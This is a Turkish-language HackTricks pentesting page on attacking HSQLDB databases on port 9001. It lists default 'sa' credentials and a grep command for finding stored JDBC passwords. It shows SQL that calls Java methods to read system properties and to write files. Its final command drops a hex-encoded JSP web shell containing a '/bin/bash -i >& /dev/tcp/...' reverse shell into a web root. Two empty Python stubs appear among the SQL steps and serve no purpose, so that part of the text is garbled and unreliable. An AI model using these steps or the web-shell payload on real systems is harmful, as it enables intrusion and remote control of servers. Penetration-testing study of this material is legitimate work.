AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
# Temel Bilgiler
**HSQLDB \([HyperSQL Veritabanı](http://hsqldb.org/)\)**, Java'da yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Hafızada ve disk tabanlı tabloları destekleyen küçük, hızlı, çoklu iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.
**Varsayılan port:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Bilgi
### Varsayılan Ayarlar
Unutmayın ki bu hizmet varsayılan olarak bellekte çalışıyor veya localhost'a bağlı. Eğer bulduysanız, muhtemelen başka bir hizmeti ele geçirdiniz ve ayrıcalıkları yükseltmek istiyorsunuz.
Varsayılan kimlik bilgileri genellikle boş bir şifre ile `sa` olarak ayarlanmıştır.
Başka bir hizmeti ele geçirdiyseniz, olası kimlik bilgilerini aramak için aşağıdaki komutu kullanabilirsiniz:
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Notu veritabanı adını dikkatlice kaydedin - bağlanmak için ihtiyacınız olacak.
# Bilgi Toplama
HSQLDB'yi [indirerek](https://sourceforge.net/projects/hsqldb/files/) ve `hsqldb/lib/hsqldb.jar` dosyasını çıkararak DB örneğine bağlanın. GUI uygulamasını \(eww\) `java -jar hsqldb.jar` kullanarak çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.
Bağlantı URL'si, uzak bir sistem için aşağıdaki gibi görünecektir: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Hileler
## Java Dil Rutinleri
Java Dil Rutinleri kullanarak HSQLDB'den bir Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın sınıf yolu üzerinde olması gerektiğini unutmayın.
JRT'ler `fonksiyonlar` veya `prosedürler` olabilir. Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürüyorsa, fonksiyonlar SQL ifadeleri aracılığıyla çağrılabilir. `VALUES` ifadesi kullanılarak çağrılırlar.
Eğer çağırmak istediğimiz Java yöntemi void döndürüyorsa, `CALL` ifadesiyle çağrılması gereken bir prosedür kullanmamız gerekmektedir.
## Java Sistem Özelliklerini Okuma
Fonksiyon oluştur:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
```python
def execute_function():
# Code to execute the function goes here
pass
```
Fonksiyonu çalıştır:
```python
def execute_function():
# Fonksiyonu çalıştırmak için gerekli kod buraya yazılır
pass
```
```text
VALUES(getsystemproperty('user.name'))
```
Aşağıda [sistem özelliklerinin bir listesini bulabilirsiniz](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Dosyaya İçerik Yazma
Özel bir prosedür aracılığıyla disk üzerine onaltılık kodlanmış öğeleri yazmak için JDK'da bulunan `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java aracını (uygulamanın sınıf yoluna otomatik olarak yüklenir) kullanabilirsiniz. **Maksimum boyutun 1024 bayt olduğunu unutmayın**.
Prosedür oluşturma:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Yürütme prosedürü:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.